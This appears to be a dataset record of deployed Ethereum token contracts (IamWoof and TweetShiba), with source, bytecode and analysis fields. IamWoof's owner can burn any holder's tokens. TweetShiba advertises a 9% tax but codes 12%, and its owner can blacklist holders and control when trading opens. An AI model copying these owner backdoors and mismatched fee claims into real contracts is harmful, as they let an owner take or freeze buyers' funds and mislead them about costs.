* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'IamWoof | https://t.me/AmWoof';
_symbol = 'AmWoof';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _init(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract IamWoof is
ERC20,
Ownable {
constructor () public
ERC20 () {
_init(msg.sender,10000e18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461046f578063a9059cbb146104d3578063dd62ed3e14610537578063f2fde38b146105af576100f5565b8063715018a6146103605780638da5cb5b1461036a57806395d89b411461039e5780639dc29fac14610421576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce5671461028357806339509351146102a457806370a0823114610308576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610695565b60405180821515815260200191505060405180910390f35b6101e96107c0565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ca565b60405180821515815260200191505060405180910390f35b61028b6109d2565b604051808260ff16815260200191505060405180910390f35b6102f0600480360360408110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e9565b60405180821515815260200191505060405180910390f35b61034a6004803603602081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1e565b6040518082815260200191505060405180910390f35b610368610c66565b005b610372610df1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a6610e1b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e65780820151818401526020810190506103cb565b50505050905090810190601f1680156104135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046d6004803603604081101561043757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ebd565b005b6104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b60405180821515815260200191505060405180910390f35b61051f600480360360408110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ca565b60405180821515815260200191505060405180910390f35b6105996004803603604081101561054d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e1565b6040518082815260200191505060405180910390f35b6105f1600480360360208110156105c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611268565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068b5780601f106106605761010080835404028352916020019161068b565b820191906000526020600020905b81548152906001019060200180831161066e57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106d057600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b600061085b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e68484846114b7565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a2457600080fd5b610ab382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6e611681565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb35780601f10610e8857610100808354040283529160200191610eb3565b820191906000526020600020905b815481529060010190602001808311610e9657829003601f168201915b5050505050905090565b610ec5611681565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f918282611689565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fd057600080fd5b61105f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006111d73384846114b7565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611270611681565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117dc6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101561148d57600080fd5b8091505092915050565b6000828211156114a657600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114f157600080fd5b611542816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c357600080fd5b6116d88160025461149790919063ffffffff16565b60028190555061172f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220f88f76ea7a85b8fcdcf2fb377b1c9817835239fff83936c24b0be5cd5f31817564736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 195 |
0x918beDC9696b76cDC9eD7FFf0805ce5b964cbead | /**
TWEETSHIBA ($TSHIBA)
TSHIBA is a meme token based on the acquisition of Twitter by Elon Musk.
We aim to provide utility by becoming the lightning payment for the decentralized twitter.
Tokenomics
1,000,000,000 Total Supply
20,000,000 Max Wallet
9% Buy/Sell Tax
6% Marketing
3% Liquidity Pool
Telegram: https://t.me/TweetShiba
Twitter: https://twitter.com/TweetShibaERC
Website: https://tweetshiba.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TweetShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TweetShiba";
string private constant _symbol = "TSHIBA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xca2608690793f2aA6726B6a8609Becfc783D19F9);
address payable private _marketingAddress = payable(0xca2608690793f2aA6726B6a8609Becfc783D19F9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 20000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
